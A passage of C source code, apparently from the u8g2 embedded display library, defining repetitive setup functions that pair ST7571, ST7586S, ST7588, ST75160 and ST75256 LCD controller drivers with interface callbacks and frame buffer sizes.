u8g2_Setup_st7571_i2c_128x96_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7571_128x96, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_12_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7586s */\n/* st7586s 1 */\nvoid u8g2_Setup_st7586s_s028hn118a_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7586s_s028hn118a, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_48_17_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7586s 2 */\nvoid u8g2_Setup_st7586s_s028hn118a_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7586s_s028hn118a, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_48_17_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7586s f */\nvoid u8g2_Setup_st7586s_s028hn118a_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7586s_s028hn118a, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_48_17_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7586s */\n/* st7586s 1 */\nvoid u8g2_Setup_st7586s_jlx384160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7586s_jlx384160, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_48_20_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7586s 2 */\nvoid u8g2_Setup_st7586s_jlx384160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7586s_jlx384160, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_48_20_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7586s f */\nvoid u8g2_Setup_st7586s_jlx384160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7586s_jlx384160, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_48_20_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7586s */\n/* st7586s 1 */\nvoid u8g2_Setup_st7586s_erc240160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7586s_erc240160, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_20_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\nvoid u8g2_Setup_st7586s_ymc240160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7586s_ymc240160, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_20_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7586s 2 */\nvoid u8g2_Setup_st7586s_erc240160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7586s_erc240160, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_20_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\nvoid u8g2_Setup_st7586s_ymc240160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7586s_ymc240160, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_20_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7586s f */\nvoid u8g2_Setup_st7586s_erc240160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7586s_erc240160, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_20_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\nvoid u8g2_Setup_st7586s_ymc240160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7586s_ymc240160, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_30_20_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation);\n}\n/* st7588 */\n/* st7588 1 */\nvoid u8g2_Setup_st7588_jlx12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7588_jlx12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7588 2 */\nvoid u8g2_Setup_st7588_jlx12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7588_jlx12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7588 f */\nvoid u8g2_Setup_st7588_jlx12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7588_jlx12864, u8x8_cad_001, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7588 */\n/* st7588 1 */\nvoid u8g2_Setup_st7588_i2c_jlx12864_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7588_jlx12864, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7588 2 */\nvoid u8g2_Setup_st7588_i2c_jlx12864_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7588_jlx12864, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st7588 f */\nvoid u8g2_Setup_st7588_i2c_jlx12864_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st7588_jlx12864, u8x8_cad_ssd13xx_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_16_8_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75160 */\n/* st75160 1 */\nvoid u8g2_Setup_st75160_jm16096_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75160_jm16096, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_12_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75160 2 */\nvoid u8g2_Setup_st75160_jm16096_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75160_jm16096, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_12_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75160 f */\nvoid u8g2_Setup_st75160_jm16096_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75160_jm16096, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_20_12_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75160 */\n/* st75160 1 */\nvoid u8g2_Setup_st75160_i2c_jm16096_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75160_jm16096, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75160 2 */\nvoid u8g2_Setup_st75160_i2c_jm16096_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75160_jm16096, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75160 f */\nvoid u8g2_Setup_st75160_i2c_jm16096_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75160_jm16096, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 */\n/* st75256 1 */\nvoid u8g2_Setup_st75256_jlx256128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256128, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st75256_wo256x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_wo256x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 2 */\nvoid u8g2_Setup_st75256_jlx256128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256128, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st75256_wo256x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_wo256x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 f */\nvoid u8g2_Setup_st75256_jlx256128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256128, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st75256_wo256x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_wo256x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 */\n/* st75256 1 */\nvoid u8g2_Setup_st75256_i2c_jlx256128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256128, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st75256_i2c_wo256x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_wo256x128, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_16_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 2 */\nvoid u8g2_Setup_st75256_i2c_jlx256128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256128, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st75256_i2c_wo256x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_wo256x128, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_16_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 f */\nvoid u8g2_Setup_st75256_i2c_jlx256128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256128, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st75256_i2c_wo256x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_wo256x128, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_16_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 */\n/* st75256 1 */\nvoid u8g2_Setup_st75256_jlx256160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_20_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st75256_jlx256160m_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160m, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_20_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st75256_jlx256160_alt_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160_alt, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_20_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 2 */\nvoid u8g2_Setup_st75256_jlx256160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_20_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st75256_jlx256160m_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160m, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_20_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st75256_jlx256160_alt_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160_alt, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_20_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 f */\nvoid u8g2_Setup_st75256_jlx256160_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_20_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st75256_jlx256160m_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160m, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_20_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st75256_jlx256160_alt_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160_alt, u8x8_cad_011, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_20_f(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 */\n/* st75256 1 */\nvoid u8g2_Setup_st75256_i2c_jlx256160_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_20_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st75256_i2c_jlx256160m_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160m, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_20_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st75256_i2c_jlx256160_alt_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160_alt, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_20_1(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n/* st75256 2 */\nvoid u8g2_Setup_st75256_i2c_jlx256160_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_20_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st75256_i2c_jlx256160m_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160m, u8x8_cad_st75256_i2c, byte_cb, gpio_and_delay_cb);\n  buf = u8g2_m_32_20_2(&tile_buf_height);\n  u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\nvoid u8g2_Setup_st75256_i2c_jlx256160_alt_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  uint8_t tile_buf_height;\n  uint8_t *buf;\n  u8g2_SetupDisplay(u8g2, u8x8_d_st75256_jlx256160_alt, 